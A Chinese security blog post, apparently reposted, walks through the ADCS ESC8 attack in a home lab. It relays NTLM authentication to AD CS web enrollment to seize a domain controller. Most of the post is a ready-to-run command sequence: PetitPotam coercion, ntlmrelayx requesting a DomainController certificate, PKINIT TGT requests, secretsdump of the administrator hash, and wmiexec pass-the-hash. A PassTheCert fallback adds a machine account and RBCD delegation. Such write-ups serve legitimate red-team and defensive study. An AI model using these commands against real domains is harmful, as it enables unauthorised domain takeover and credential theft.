ADCS-域提权-ESC8-NTML中继攻击

admin 2023年12月20日15:03:11评论60 views字数 3355阅读11分11秒阅读模式

冬有冬的来意,雪有雪的秘密

Winter has its own purpose, and snow has its own secrets

ADCS-ESC完结

在真实环境中,在域环境中欲进行获取域控权限,并存在ADCS服务时,ESC1&ESC8相较于ESC2-ESC7比较常用。

ADCS-ESC系列中所用到工具均整理,后台回复ADCStools获取地址。

 ADCS-ESC配置错误系列目录:

  1. ESC1:错误配置ENROLLEE_SUPPLIES_SUBJECT,可任意申明证书身份
  2. ESC2:证书模板定义指定了Any Purpose EKU或No EKU,可证书可进行任意用途
  3. ESC3:证书模板定义证书请求代理 EKU,普通用户可代理域管注册,从而获取域管权限
  4. ESC4:低权限用户拥有证书模版write权限,可修改证明模版任意配置
  5. ESC5_ESC6:其他对象对ADCS的影响(ESC5);ADCS服务开启EDITF_ATTRIBUTESUBJECALTNAME2,任意证书可申明身份(ESC6)
  6. ESC7:证书颁发机构低权限用户拥有ManageCA权限和ManageCertificates权限,可管理ADCS与证书模版
  7. ESC8:基于HTTP的证书注册服务易受到NTML中继攻击


ESC8-环境配置

在ADCS服务中,管理员可以添加基于HTTP的证书注册服务,而这种基于HTTP的证书接口,特别容易受到NTML中继攻击,通过NTML中继攻击,可以窃取任何进行NTML身份认证的AD用户。在T0ngMystic`s Blog下的ESC1-ESC7都是ADCS服务与域控在同一台服务器上,但是ESC8会用到NTML中继攻击,在同一台服务器则没法进行域控与ADCS之间的中继攻击,所以,ESC8的环境为分离部署,具体环境如下:

域控 testad.com(windows server 2019):192.168.111.22
ADCS(windows server 2019):192.168.111.221
域内机器:(windows10):192.168.111.129
kali(linux-kali):192.168.111.132

ADCS开启Web证书注册服务:ADCS-域提权-ESC8-NTML中继攻击

ESC8-NTML中继

在kali上利用impacket下的ntlmrelayx .py开启监听:ADCS-域提权-ESC8-NTML中继攻击

利用PetitPotam对域控进行强制认证漏洞攻击,强制域控向kali进行认证:

PetitPotam.exe 192.168.111.132 192.168.111.22 1
ADCS-域提权-ESC8-NTML中继攻击

kali监听收到来自域控服务器的NTML认证,使用中继攻击向ADCS的web服务申请DomainController证书,将获取到的base64编码证书,解码后保存:

python3 ntlmrelayx.py -t http://192.168.111.221/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController'

//base64证书保存到123.txt后解码保存至T0ngMystic.pfx
cat 123.txt| base64 -d > T0ngMystic.pfx
ADCS-域提权-ESC8-NTML中继攻击

base64证书保存到123.txt后解码保存至T0ngMystic.pfx

cat 123.txt| base64 -d > T0ngMystic.pfx

利用gettgtpkinit.py请求tgt(使用Rubeus也可以,我这里使用Rubeus后,使用mimikatz提取hash报错):

python3 gettgtpkinit.py -cert-pfx T0ngMystic.pfx testad.com/WIN-E65HGR8BUBN$ dc.ccache
ADCS-域提权-ESC8-NTML中继攻击

将tgt保存的文件赋给变量KRB5CCNAME,利用getnthash.py获取NT hash(NT hash 可以不用获取,但KRB5CCNAME必须要):

export KRB5CCNAME=dc.ccache

python3 getnthash.py -key 3260c220868278b2287ba3b62fca066ff03ac1c2ed6761a112a60b553b7733b2 testad.com/WIN-E65HGR8BUBN$
ADCS-域提权-ESC8-NTML中继攻击

通过secretsdump.py使用dc.ccache获取域控administrator用户NTML hash:

python3 secretsdump.py -k testad.com/WIN-E65HGR8BUBN$@WIN-E65HGR8BUBN.testad.com -no-pass -just-dc-user administrator
ADCS-域提权-ESC8-NTML中继攻击

利用wmiexec.py进行hsah传递访问域控服务器:

python3 wmiexec.py -hashes :92ac39dc25532a7fabf2c33d861b2c53 testad.com/[email protected] -dc-ip 192.168.111.22
ADCS-域提权-ESC8-NTML中继攻击

KDC_ERR_PADATA_TYPE_NOSUPP错误

有时在请求TGT时有可能会报***KDC_ERR_PADATA_TYPE_NOSUPP***错误,导致无法请求TGT。如果遇到这种情况,同时存在LDAP支持TLS,可以使用***PassTheCert***进行利用,LDAP 在内的协议支持 Schannel,从而可以通过 TLS 进行身份验证。(我在配置LDAP支持TLS后,报错就消失了,该方法作为另一种利用的思路吧)ADCS-域提权-ESC8-NTML中继攻击

利用Certipy将先前通过NTML中继攻击获取到的证书,转换成key和crt,两个部分(***PassTheCert***工具需要):

certipy cert -pfx T0ngMystic.pfx -nokey -out T0ngMystic.crt
certipy cert -pfx T0ngMystic.pfx -nocert -out T0ngMystic.key
ADCS-域提权-ESC8-NTML中继攻击

利用***PassTheCert***生成新的机器账户 NOPKIdc :

python passthecert.py -action add_computer -crt T0ngMystic.crt -key T0ngMystic.key -domain testad.com -dc-ip 192.168.111.22 -computer-name NOPKIdc$ -computer-pass Testad@123
ADCS-域提权-ESC8-NTML中继攻击

给新建的机器用户添加rbcd(约束委派)属性:

python passthecert.py -action write_rbcd -crt T0ngMystic.crt -key T0ngMystic.key -domain testad.com -dc-ip 192.168.111.22 -delegate-from NOPKIdc$ -delegate-to WIN-E65HGR8BUBN$
ADCS-域提权-ESC8-NTML中继攻击

利用getST.py约束委派生成administrator对NOPKIdc$的cifs ST票据:

python3 getST.py -spn cifs/WIN-E65HGR8BUBN.testad.com -impersonate administrator testad.com/NOPKIdc$:Testad@123 -dc-ip 192.168.111.22
ADCS-域提权-ESC8-NTML中继攻击

将获取的票据保存到变量KRB5CCNAME,并利用wmiexec.py进行hash传递登录域控服务器:

export KRB5CCNAME=administrator.ccache

python3 wmiexec.py -k testad.com/[email protected] -no-pass -dc-ip 192.168.111.22
ADCS-域提权-ESC8-NTML中继攻击

文笔垃圾,技术欠缺,欢迎各位师傅请斧正,非常感谢!

原文始发于微信公众号(T0ngMystic工作站):ADCS-域提权-ESC8-NTML中继攻击

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月20日15:03:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ADCS-域提权-ESC8-NTML中继攻击https://cn-sec.com/archives/2319785.html

发表评论

匿名网友 填写信息